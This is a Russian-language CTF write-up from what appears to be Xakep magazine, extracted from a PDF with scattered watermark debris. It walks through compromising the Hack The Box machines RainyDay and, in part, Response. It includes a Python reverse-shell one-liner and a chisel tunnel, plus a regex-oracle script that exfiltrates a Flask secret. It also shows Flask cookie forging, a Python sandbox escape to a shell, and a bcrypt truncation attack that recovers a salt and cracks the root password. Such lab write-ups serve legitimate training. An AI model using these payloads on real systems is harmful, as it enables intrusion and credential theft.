Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
18.64 Mб
Скачать

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

 

-x

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

ЭКСПЛУАТИРУЕМ API

И БРУТИМ «СОЛЕНЫЙ» ПАРОЛЬ

В этом райтапе­ я покажу, как можно­ про­ эксплу­ ати­ ровать­ уязвимость­ в API веб при­ ложения­ , чтобы­ получить доступ­ к хосту­ . Затем выйдем­ из песочницы­ Python

ипокопаемся­ в криптогра­ фии­ , чтобы­ получить критичес­ ки­ важные­ данные­

иповысить привиле­ гии­ в системе­ .

RalfHacker hackerralf8@gmail.com

Нашей­ целью будет захва­ т учебной­ машины RainyDay с площад­ ­ки Hack The Box. Ее уровень­ — сложный­ .

Подклю­ чать­ ся­ к машинам с HTB рекомендует­ ся­ только­ через VPN. Не делай этого­ с компьюте­ ров­ , где есть важные­ для тебя данные­ , так как ты ока­ жешься­ в общей сети с другими­ участни­ ками­ .

РАЗВЕДКА Сканирование портов

Добав­ ­ляем IP-адрес машины в /etc/hosts:

10.10.11.184 rainyday.htb

И запускаем­ сканиро­ вание­ портов­ .

Сканиро­ ­вание портов­ — стандар­ ­тный первый­ шаг при любой атаке­ . Он поз­ воляе­ т атакующе­ ­му узнать, какие службы­ на хосте­ принима­ ­ют соединение­ . На основе­ этой информации­ выбирается­ следующий­ шаг к получению­ точки­ входа­ .

Наибо­ ­лее известный­ инстру­ ­мент для сканиро­ ­вания — это Nmap. Улучшить­ результаты­ его работы ты можешь при помощи следующе­ ­го скрипта­ :

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |

tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он действу­ ­ет в два этапа­ . На первом­ произво­ ­дит­ся обычное­ быстрое­ ска­ нирование­ , на втором­ — более тщатель­ ­ное сканиро­ ­вание, с использовани­ ­ем имеющих­ ­ся скриптов­ (опция -A).

Резуль­ та­ т работы скрипта­

Нашлось­ два открытых­ порта­ : 22 — служба­ OpenSSH 8.9p1 и 80 — веб сер­ вер Nginx 1.18.0. На SSH нам пока заходить рано, посколь­ ку­ учетных­ данных­

унас нет (а перебирать­ их на машине с HTB не предполага­ ­ется).

Взаголовке­ ответа­ веб сервера­ Nmap нашел поле http-title, которое

сообщае­ т о редиректе­ на адрес rainycloud.htb. Поэтому­ изменим­ запись в файле­ /etc/hosts и обратим­ ся­ к новому сайту­ через браузер­ .

10.10.11.184 rainyday.htb rainycloud.htb

Главная­ страница­ сайта­ http://rainycloud.htb/

ТОЧКА ВХОДА

Давай­ постро­ им­ карту­ сайта­ в Burp Suite, чтобы­ лучше­ ориенти­ ровать­ ся­ . Для этог­ о выбираем­ любой запрос­ к целевому­ сайту­ и в контекс­ тном­ меню кликаем­ Engagement tool → Discovery content. После­ окончания­ сканиро­ вания­

на вкладке­ Site map увидим­ что то похожее на скрин ниже.

Карта­ сайта­ rainycloud.htb

Когда­ Burp Suite строит­ карту­ , он не только­ сканиру­ е­ т каталоги­ и файлы­ , но и собирае­ т ссылки­ и переходи­ т по ним. Так как не происхо­ ди­ т сканиро­ вания­ поддоменов­ , то выполним­ его с помощью fuf.

Одн­ о из первых­ действий­ при тестирова­ нии­ безопасности­ веб приложе­ ­ ния — это сканиро­ вание­ методом перебора­ каталогов­ , чтобы­ найти­ скрытую­ информаци­ ю и недоступные­ обычным­ посетителям­ функции­ . Для этого­ можно­ использовать­ программы­ вроде­ dirsearch и DIRB.

Я предпочита­ ю легкий­ и очень быстрый­ fuf. При запуске­ указыва­ ем­ сле­ дующие параметры­ :

-u — URL;

-w — словарь­ (я использую­ словари­ из набора SecLists);

-H — дополнитель­ ный­ HTTP-заголовок­ ;

-t — количеств­ о потоков;

-fs — фильтр­ , исключающий­ страницы­ по размеру­ .

ffuf -u 'http://rainycloud.htb' -w subdomains-top1million-110000.txt

-H "Host: FUZZ.rainycloud.htb" -t 256 -fs 229

Резуль­ та­ т сканиро­ вания­ каталогов­ с помощью fuf

Добав­ ляем­ новый домен в файл /etc/hosts.

10.10.11.184 rainyday.htb rainycloud.htb dev.rainycloud.htb

Но сайт на новом домене нам недоступен­ , о чем говорит код ответа­ 403. Зато на карте­ сайта­ есть интерес­ ная­ страница­ /api/.

Страница­ /api/

Эндпо­ ин­ т /api/list показывае­ т нам единствен­ ный­ существу­ ющий­ образ

Docker.

Сущес­ тву­ ющие­ докер образы­

Еще мы можем запросить­ URL вида /api/user/<id>, чтобы­ получить информаци­ ю о пользовате­ ле­ . Немного­ поиграв­ с форматом­ id, я получил три имени­ пользовате­ ля­ и хеши их паролей.

Данные­ пользовате­ ля­ jack

Данные­ пользовате­ ля­ root

Данные­ пользовате­ ля­ gary

ТОЧКА ОПОРЫ

Найден­ ­ные хеши были созданы­ алгорит­ ­мом bcrypt, который устойчив­

к перебору­ , — работа hashcat заняла около­ 25 минут. Для перебора­ bcrypt нужн­ о использовать­ режим 3200 (параметр -m).

hashcat -m 3200 hashes.txt rockyou.txt

Резуль­ та­ т перебора­ хешей

С найден­ ным­ паролем авторизу­ емся­ на сайте­ и получаем­ возможность­ соз­ дать контей­ нер­ Docker.

Главная­ страница­ сайта­

Создаем­ новый контей­ нер­ , и нам открывает­ ся­ панель управления­ контей­ ­ нером.

 

 

 

 

Главная­ страница­

сайта­

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Внутри­

контей­ нера­

можно­

выполнять­

команды­ ,

поэтому­

получим

реверс шелл. В качестве­

листенера­

я использую­

pwncat. Так

 

 

 

 

 

 

как реверс шелл должен­

висеть долго­ , выполняем­

команду­ в

фоновом

режиме:

 

 

 

 

 

 

 

 

 

 

 

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.

AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.17",4321));os.dup2(

s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import

pty;pty.spawn("/bin/sh")'

Получа­ ем­ сесси­ ю и проверя­ ем­ внутренн­ юю сеть.

Настрой­ ки­ сетевог­ о адаптера­

Продолжение статьи

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

c

 

o m

ВЗЛОМ

 

 

 

 

 

 

 

 

 

to

BUY

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИw Click

 

BUY

 

m

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ЭКСПЛУАТИРУЕМ API И БРУТИМ «СОЛЕНЫЙ» ПАРОЛЬ

ПРОДВИЖЕНИЕ Пользователь jack

Загрузим­ на хост статичес­ ­ки собранный­ Nmap и найдем­ другие­ хосты­ (кон­ тейнеры­ ) в сети.

./nmap -sn 172.18.0.0/24

Резуль­ ­тат сканиро­ ­вания сети

Дальше­ ничего сделать­ не удалось­ , но вспомина­ ­ем про еще один, ранее недоступный­ сайт на поддомене­ dev. Нужн­ о снова­ проверить­ его дос­ тупность, так как теперь мы можем обратить­ ­ся к нему из внутренней­ сети. Чтобы­ получить доступ­ к этому­ сайту­ , нужно­ постро­ ­ить туннель­ . Для этого­ будем использовать­ chisel. На локальном­ хосте­ запустим­ сервер­ , ожи­ дающий подклю­ ­чения (параметр --reverse) на порт 8000 (параметр -p).

chisel.bin server -p 8000 --reverse

Теперь­ на удален­ ном­ хосте­ запустим­ клиент­ скую­ часть. Указыва­ ем­ адрес сер­ вера и порт для подклю­ чения­ , а также­ маршру­ т туннеля­ : локальный­ порт 8888 будет вести­ на порт 80 хоста­ 172.18.0.1.

./chisel.bin client 10.10.14.17:8000 R:8888:172.18.0.1:80

В логах сервера­ мы должны­ увидеть­ сообщение­ о создании­ новой сессии­ . Теперь остается­ изменить­ запись dev.rainycloud.htb в файле­ /etc/hosts на локальный­ хост и обратить­ ­ся к сайту­ .

127.0.0.1 dev.rainycloud.htb

Главная­ страница­ сайта­ DEV

И сайт доступен­ ! Причем­ это dev-версия­ того сайта­ , с которым мы уже работали­ , поэтому­ сразу­ переходим­ к знакомо­ му­ API.

curl http://dev.rainycloud.htb:8888/api/healthcheck | jq

Отве­ т сервера­

В ответе­ представ­ лены­ варианты­ провер­ ки­ файлов­ . Так как первые­ три вари­ анта привяза­ ны­ к файлам­ определен­ ных­ типов, нам более важен последний­ тип, в котором можн­ о задать паттерн­ . Повторим­ последний­ вариан­ т со сле­ дующими­ параметрами­ :

curl http://dev.rainycloud.htb:8888/api/healthcheck --cookie

'session=eyJ1c2VybmFtZSI6ImdhcnkifQ.Y7ASyA.

sauINNJZPW5yNHkQ44vdw3RkCDA' -d 'file=/etc/passwd&type=custom&

pattern=^root.*' | jq

Отве­ т сервера­

Сервис­ ответил­ , что в файле­ /etc/passwd есть последова­ тель­ ность­ , которая соответс­ тву­ е­ т паттерну­ ^root.*. Значит­ , мы можем не только­ проверять­ существо­ вание­ того или иного­ файла­ , но и вытягивать­ из них строки­ . Так, пер­ вая справка­ раскры­ ла­ путь к каталогу­ сайта­ /var/www/rainycloud/, и я перебра­ л несколь­ к­ о вариантов­ имен файлов­ , которые могут содержать­ сек­ рет Flask. В итоге­ получаем­ верный­ ответ для файла­ secrets.py.

curl http://dev.rainycloud.htb:8888/api/healthcheck --cookie

'session=eyJ1c2VybmFtZSI6ImdhcnkifQ.Y7ASyA.

sauINNJZPW5yNHkQ44vdw3RkCDA' -d 'file=/var/www/rainycloud/secrets.py&

type=custom&pattern=^SECRET_K

EY.*' | jq

Отве­ т сервера­

Теперь­ можн­ о автомати­ зиро­ вать­ посимволь­ ное­ получение­ секрета­ . Для это­ го к верному­ паттерну­ нужно­ подстав­ лять­ разные­ символы­ и, если ответ вер­ ный, изменять­ паттерн­ дальше­ . Для этого­ я накидал следующий­ код:

import requests

import json

sess = requests.Session()

secret = "SECRET_KEY"

while True:

for c in ' 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/="'.':

try:

r = sess.post('http://dev.rainycloud.htb:8888/api/

healthcheck', {

'file': '/var/www/rainycloud/secrets.py',

'type': 'custom',

'pattern': "^" + secret + c + ".*"

}, cookies={'session': 'eyJ1c2VybmFtZSI6ImdhcnkifQ.Y7ASyA.

sauINNJZPW5yNHkQ44vdw3RkCDA'})

if json.loads(r.content)['result']:

secret += c

print(secret)

break

except Exception:

pass

Резуль­ та­ т работы скрипта­

Таким­ образом­ мы получаем­ секре­ т Flask и можем подделать­ сессию­ любого пользовате­ ля­ . Сначала­ с помощью fask-session-cookie-manager расшифру­ ем­ данные­ , передаваемые­ в cookie.

python3 flask_session_cookie_manager3.py decode -s

f77dd59f50ba412fcfbd3e653f8f3f2ca97224dd53cf6304b4c86658a75d8f67 -c

eyJ1c2VybmFtZSI6ImdhcnkifQ.Y7ASyA.sauINNJZPW5yNHkQ44vdw3RkCDA

Расшифро­ ван­ ные­ данные­

А теперь изменим­ имя пользовате­ ля­ и сделаем­ новый идентифика­ тор­ сессии­ .

python3 flask_session_cookie_manager3.py encode -s

f77dd59f50ba412fcfbd3e653f8f3f2ca97224dd53cf6304b4c86658a75d8f67 -t

"{'username': 'jack'}"

Получе­ ние­ нового идентифика­ тора­ сессии­

Заменя­ ем­ куки в браузе­ ре­ , обновляем­ страницу­ и получаем­ контей­ неры­ пользовате­ ля­ jack.

Контей­ неры­ пользовате­ ля­ jack

Уже знакомым­ методом попадаем­ внутрь контей­ нера­ и проводим­ разведку­ . Скрипты­ для перечисления­ системы­ ничего мне особо­ не дали, поэтому­ я решил отследить­ запускаемые­ процес­ сы­ с помощью pspy64.

Логи­ pspy64

В логах видим использование­ SSH-агента­ , а затем продол­ житель­ ный­ сон. Мне это показалось­ странным­ . Зная идентифика­ тор­ процес­ са­ , мы можем осмотреться­ в его окружении­ . Так находим примон­ тирован­ ный­ каталог с при­ ватным­ SSH-ключом­ пользовате­ ля­ .

Приват­ ный­ SSH-ключ пользовате­ ля­

Подклю­ чаем­ ся­ уже к основному­ хосту­ и забираем­ первый­ флаг.

Флаг пользовате­ ля­

Пользователь jack_adm

Нам снова­ нужн­ о собрать­ информацию­ , и на этот раз скрипт PEASS навел меня на правиль­ ­ный путь — настрой­ ­ки sudoers.

Файл /etc/sudoers в Linux содержи­ т списки­ команд, которые разные­ группы­ пользовате­ ­лей могут выполнять­ от имени­ админис­ ­тра­тора системы­ . Можно­ просмотреть­ его как напрямую­ , так и при помощи команды­ sudo -l.

 

 

 

 

 

 

 

 

 

Настрой­

ки­ sudoers

 

 

 

 

 

 

 

 

Пользователь­

jack может выполнить­

команду­

/usr/bin/safe_python *

от имени­ пользовате­

ля­ jack_adm без ввода­ пароля. Этот файл запустит­

скрипт на Python в урезан­ ном­

режиме. А значит­ , нам нужно­ выйти­ из песоч­

ницы Python. Попробовав­

несколь­

ко­ нагрузок­

из своей­ коллекции­

,

я нашел

подходящую­

. Давай разберем­

, как она работает­ .

 

 

 

 

 

 

 

 

Первым­

делом в коде нам нужно­ добрать­

ся­ до класса­ object. Для этого­

мы восполь­

зуем­

ся­ таким свойством­

языка­ Python, как MRO (method resolution

order) — порядок разрешения­

методов. Когда­ мы ищем атрибу­ т в классе­ ,

который участву­ е­ т в множес­ твен­

ном­

наследова­

нии­ , соблюда­

ется­

определен­

­

ный порядок. Сначала­

атрибу­ т ищется­ в текущем классе­ . Если ничего не най­

дено, поиск переходи­ т к родительским­

классам­ . Этот порядок называется­

линеари­ заци­

ей­ класса­ , а набор применя­

емых­

правил­

называется­

как раз

порядком­

разрешения­

метода (MRO). Для получения­

MRO класса­ можно­

использовать­

атрибу­ т __mro__. В качестве­ класса­ возьмем­ , к примеру­

, кор­

теж.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

().__class__.__mro__[1]

Получе­ ние­ класса­ object

Когда­ мы не можем импортировать­ нужные­ модули, так как это запрещено­ , мы должны­ использовать­ только­ собствен­ ­ные встроенные­ функции­ Python. Встроенные­ функции­ , не предполага­ ­ющие непосредс­ ­твен­ного исполь­ зования, автомати­ ­чес­ки вводят­ ­ся в среду­ с помощью встроенно­ ­го модуля builtins. А уже через этот модуль можно­ получить доступ­ к заморожен­ ­ному модулю — скомпилиро­ ­ван­ному байт коду для работы без предус­ ­танов­ленно­ го интерпре­ ­тато­ра Python. В нем нас больше­ всего­ интересу­ ­ет класс

BuiltinImporter.

().__class__.__mro__[1].__subclasses__()[144].__init__.__globals__[

"__builtins__"]

Получе­ ние­ frozen-модуля Python

Получив­ доступ­ к классу­ BuiltinImporter, можн­ о использовать­ функцию­ load_module для непосредс­ твен­ ной­ загрузки­ встроенно­ го­ модуля builtins. Из него мы уже сможем­ смело­ импортировать­ нужные­ нам модули и исполь­ зовать определен­ ные­ функции­ . К примеру­ , функцию­ system из модуля os.

().__class__.__mro__[1].__subclasses__()[144].__init__.__globals__[

"__builtins__"]["__loader__"]().load_module("builtins").__import__(

"os").system("whoami")

Выпол­ ­нение команды­ в терминале­

А теперь вместо­ whoami используем­ команду­ , которая позволи­ т нам получить интерак­ ­тивную командну­ ю оболоч­ ­ку. Записываем­ команду­ в файл и исполня­ ем этот файл через safe_python на целевом хосте­ .

().__class__.__mro__[1].__subclasses__()[144].__init__.__globals__[

"__builtins__"]["__loader__"]().load_module("builtins").__import__(

"os").system("bash -i")

sudo -u jack_adm /usr/bin/safe_python /tmp/test.py

Сессия­ пользовате­ ля­ jack_adm

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Снова­ перекапывать­ всю систему­ смысла­ нет, а вот проверить­ настрой­ ки­ sudoers в изменив­ шемся­ контек­ сте­ необходимо­ .

sudo -l

Настрой­ ки­ sudoers

Мы можем запустить­ скрипт /opt/hash_system/hash_password.py от имени­ рута. Запускаем­ команду­ для теста­ , и нас прося­ т ввести­ пароль.

Провер­ ка­ скрипта­

В ответе­ получаем­ хеш bcrypt. Интерес­ но­ , что если попробовать­ его проб­ рутить, то его прообра­ зом­ не будет введен­ ная­ нами строка­ test. Скорее­ все­ го, при хешировании­ использует­ ся­ соль. Но просмотреть­ скрипт мы не можем.

Провер­ ка­ файла­ hash_password.py

Так как мы на первоначаль­ ном­ этапе­ получили­ хеш пароля рута, возникло­ предположе­ ние­ , что если найти­ соль, то можно­ будет пробрутить­ и «соленый» пароль рута. Давай попробу­ ем­ ввести­ пустой­ пароль, чтобы­ хеш вычислялся­ тольк­ о из соли.

Ошибка­ при пустом­ пароле

Но получаем­ ошибку­ , так как проверя­ ется­ длина­ введен­ ного­ пароля. Долго­ искать решение задачи не пришлось­ — я уже видел похожую идею в одном CTF. Дело в том, что bcrypt — это хеш, у которого­ максималь­ ный­ размер­ хешируемой­ строки­ составля­ ет­ 72 байта­ . То есть все байты­ после­ 72-го будут отсечены­ . Таким образом­ , мы могли­ бы ввести­ 71 известный­ нам байт, а 72- й — это первый­ симво­ л добавленной­ соли. Затем мы перебираем­ этот единствен­ ный­ симв­ ол и задаем­ уже строку­ из 70 байт. Теперь будет добав­ лено два символа­ соли, один из которых мы знаем­ , и останет­ ся­ перебрать­ второй­ . Таким способом­ мы постепен­ но­ вытягиваем­ всю строку­ соль.

H1 = 72*'A'

H2 = 71*'A' + S[0]

H3 = 70*'A' + S[0] + S[1]

В этой задаче есть одно усложнение­ — регламен­ ­тирован­ная длина­ строки­ до 30 символов­ включитель­ ­но. Здесь стои­ т проявить­ смекал­ ­ку. Заметь, что хешируется­ строка­ до 72-го байта­ , а проверя­ ­ется строка­ до 30 символов­ . Таким образом­ , если мы будем использовать­ кодировку­ , где каждый­ символ­ обознача­ ­ется 3 байтами­ , то в 30 символах­ мы сможем­ передать аж 90 байт!

Чтобы­ найти­ такие символы­ , можно­ восполь­ ­зовать­ся таблицей­ . Я взял симв­ ол .

Таблица­ UTF8-3byte

Копиру­ ем­ из таблицы­ выбранный­ симво­ л и передаем­ в качестве­ пароля стро­ ку из 24 таких символов­ .

Вычис­ ление­ хеша

Получа­ ем­ хеш и проверя­ ем­ наше предположе­ ние­ . Для этого­ записываем­ вве­ денну­ ю строку­ в файл и передаем­ его в качестве­ словаря­ для перебора­ .

hashcat -m 3200 hash.txt wordlist.txt

Нахож­ дение­ прообра­ за­ хеша с помощью hashcat

В итоге­ строка­ была обнаруже­ на­ , и мы можем начать вытягивать­ соль. Передаем­ программе­ строку­ из 23 символов­ и двух обычных­ букв A. Так дли­ на строки­ составит­ 25 символов­ , но 71 байт.

Вычис­ ление­ хеша

Теперь­ составим­ словарь­ для полученного­ хеша. Для этого­ к введен­ ной­ нами строке­ добавим по очереди­ все возможные­ символы­ и запишем в словарь­ .

s =

'

AA'

for

i

in range(0,255):

 

 

print(s + chr(i))

Составлен­ ный­ список­ передаем­ в hashcat и отправляем­ хеш на брут.

hashcat -m 3200 hash.txt wordlist.txt

Нахож­ дение­ прообра­ за­ хеша с помощью hashcat

И получае­ м первый­ симво­ л соли — H. Теперь повторя­ ем­ наш трюк и переда­ ем программе­ 24 символа­ (71 байт).

Вычис­ ление­ хеша

Теперь­ обновляем­ наш список­ для перебора­ . Мы знаем­ первый­ символ­ соли, второй­ будем перебирать­ .

s =

'

AH'

for

i

in range(0,255):

 

 

print(s + chr(i))

hashcat -m 3200 hash.txt wordlist.txt

Нахож­ дение­ прообра­ за­ хеша с помощью hashcat

У нас уже есть два символа­ соли. Продол­ жаем­ дальше­ получать по одному­ символу­ . Я перейду­ сразу­ к последней­ итерации­ , где мы уже получили­ всю соль (H34vyR41n). Так как последний­ симво­ л будет 0 байт, hashcat отобразит­ прообраз­ в шестнад­ цатерич­ ном­ виде.

s =

'

AAH34vyR41n'

for

i

in range(0,255):

 

 

print(s + chr(i))

 

 

Нахож­ дение­

прообра­

за­ хеша с помощью hashcat

 

 

 

 

 

 

 

 

Перехо­

дим­

к бруту­ хеша пароля рута. Возьмем­

словарь­

rockyou.txt

и добавим соль к каждому­

слову­ .

 

 

 

 

sed 's/$/H34vyR41n/' rockyou.txt > new_rockyou.txt

Отправ­ ляем­ хеш на перебор по новому словарю­ и спустя­ некоторое­ время­ получаем­ пароль!

hashcat -m 3200 hash.txt wordlist.txt

Нахож­ дение­ прообра­ за­ хеша с помощью hashcat

Через­ su меняем­ пользовате­ ­ля в системе­ и авторизу­ ­емся как root с паролем

246813579.

Флаг рута

Машина­ захвачена­ !

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

-x

 

 

g

 

 

 

 

 

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

БЬЕМСЯ НАД САМОЙ СЛОЖНОЙ МАШИНОЙ С HACK THE BOX

В этом райтапе­ я покажу, как исследовать­

API сайта­ на предмет­ потенциаль­ ных­ лазе­ ек, затем мы напишем собствен­ ный­ прок­ си сервер­ на Python, а потом применим­

XSS для эксфильтра­ ­ции данных­ и проэкс­ ­ плуати­ ­руем сложную­ уязвимость­ чтения­ произволь­ ­ных файлов­ .

RalfHacker hackerralf8@gmail.com

Упражнять­ ся­ мы будем на виртуаль­ ной­ машине Response с площад­ ки­ Hack The Box. Ее уровень­ сложности­ — Insane, и на сегодняшний­ день это самая сложная­ машина на HTB и первая­ в моей серии райтапов­ , которую мне не удалось­ пройти­ до конца­ . Однако­ даже получение­ двух пользователь­ ских­ учеток­ оказалось­ захватыва­ ющим­ .

Подклю­ чать­ ся­ к машинам с HTB рекомендует­ ся­ только­ через VPN. Не делай этого­ с компьюте­ ров­ , где есть важные­ для тебя данные­ , так как ты ока­ жешься­ в общей сети с другими­ участни­ ками­ .

РАЗВЕДКА Сканирование портов

Добав­ ­ляем IP-адрес машины в /etc/hosts:

10.10.11.163 response.htb

И запускаем­ сканиро­ вание­ портов­ .

Сканиро­ ­вание портов­ — стандар­ ­тный первый­ шаг при любой атаке­ . Он поз­ воляе­ т атакующе­ ­му узнать, какие службы­ на хосте­ принима­ ­ют соединение­ . На основе­ этой информации­ выбирается­ следующий­ шаг к получению­ точки­ входа­ .

Наибо­ ­лее известный­ инстру­ ­мент для сканиро­ ­вания — это Nmap. Улучшить­ результаты­ его работы ты можешь при помощи следующе­ ­го скрипта­ :

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |

tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он действу­ ­ет в два этапа­ . На первом­ произво­ ­дит­ся обычное­ быстрое­ ска­ нирование­ , на втором­ — более тщатель­ ­ное сканиро­ ­вание, с использовани­ ­ем имеющих­ ­ся скриптов­ (опция -A).

Резуль­ та­ т работы скрипта­

Мы нашли­ всег­ о два открытых­ порта­ : 22 — служба­ OpenSSH 8.2p1 и 80 — веб сервер­ Nginx 1.21.6. С SSH ничего не сделать­ , поэтому­ сразу­ переходим­

к вебу.

Главная­ страница­ сайта­ response.htb

На сайте­ находим упомина­ ние­ домена www.response.htb, поэтому­ обновля­ ем запись в файле­ /etc/hosts:

10.10.11.163 response.htb www.response.htb

Чтобы­ расширить­ область тестирова­ ­ния, составим­ карту­ сайта­ с помощью Burp Discovery. Для этог­ о в Burp History выбираем­ целевой адрес и в кон­

текстном­ меню Engagement tools → Discover content.

Карта­ сайта­

Так находим нестандар­ тный­ файл /status/main.js.php.

ТОЧКА ВХОДА

Копиру­ ем­ содержимое­ файла­ /status/main.js.php на локальну­ ю машину и изучаем­ . Этот файл содержи­ т данные­ для обращения­ к домену api. response.htb через сайт на домене proxy.response.htb.

Содер­ жимое­ файла­ main.js.php

Так как обращение­ происхо­ ди­ т к поддомену­ proxy, добавляем­ в /etc/hosts тольк­ о его.

10.10.11.163 response.htb www.response.htb proxy.response.htb

Затем­ копируем­ данные­ для обращения­ и повторя­ ем­ запрос­ .

POST /fetch HTTP/1.1

Host: proxy.response.htb

Content-Type: application/json

Content-Length: 262

{"url":"http://api.response.htb/","url_digest":

"cab532f75001ed2cc94ada92183d2160319a328e67001a9215956a5dbf10c545",

"method":"GET","session":"6c2a752c873e8c03fc927a81647402d0",

"session_digest":

"6ce5cbd27651561e9005287bc5d8cf3201aa6c4fe885057ae80b40af0b8951bd"}

Запрос­ и ответ сервера­

Отве­ т от сервера­ закодирован­ в Base64, декодировать­ можно­ прямо­ в Burp Inspector.

Burp Inspector

Так как дальше­ данные­ представ­ лены­ в формате­ JSON, можно­ красиво­ отоб­ разить их при помощи утилиты­ jq.

Получен­ ные­ с сервера­ данные­

Просмотрим­ также­ страницы­ /get_chat_status и /get_servers.

Обращение­ к странице­ /get_chat_status

Отве­ т сервера­

Обращение­ к странице­ /get_servers

Отве­ т сервера­

Раскры­ ваем­ еще один сервис­ — chat.response.htb. Добавляе­ м его в файл /etc/hosts и просматри­ ваем­ ответ сервера­ .

10.10.11.163 response.htb www.response.htb proxy.response.htb chat.

response.htb

Отве­ т сервера­

Сайт оказал­ ся­ недоступен­ . Но можно­ обратить­ ся­ к нему через сайт proxy. Правда­ , для этог­ о нам нужно­ подтвер­ дить­ параметр url подпись­ ю в парамет­ ре url_digest, который сами вычислить­ мы не можем. Но параметр session, где передается­ идентифика­ тор­ веб сессии­ , тоже подтвержда­ ется­ подписью­ session_digest.

Запрос­ /status/main.js.php

Тогда­ пробуем­ вместо­ идентифика­ тора­ сессии­ отправить­ ссылку­ , чтобы­ получить подпись­ для нее.

Получе­ ние­ подписи­ URL

Как видишь, мы узнаем­ действи­ тель­ ну­ ю подпись­ URL, отправленно­ го­ вместо­ идентифика­ тора­ сессии­ .

Продолжение статьи

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

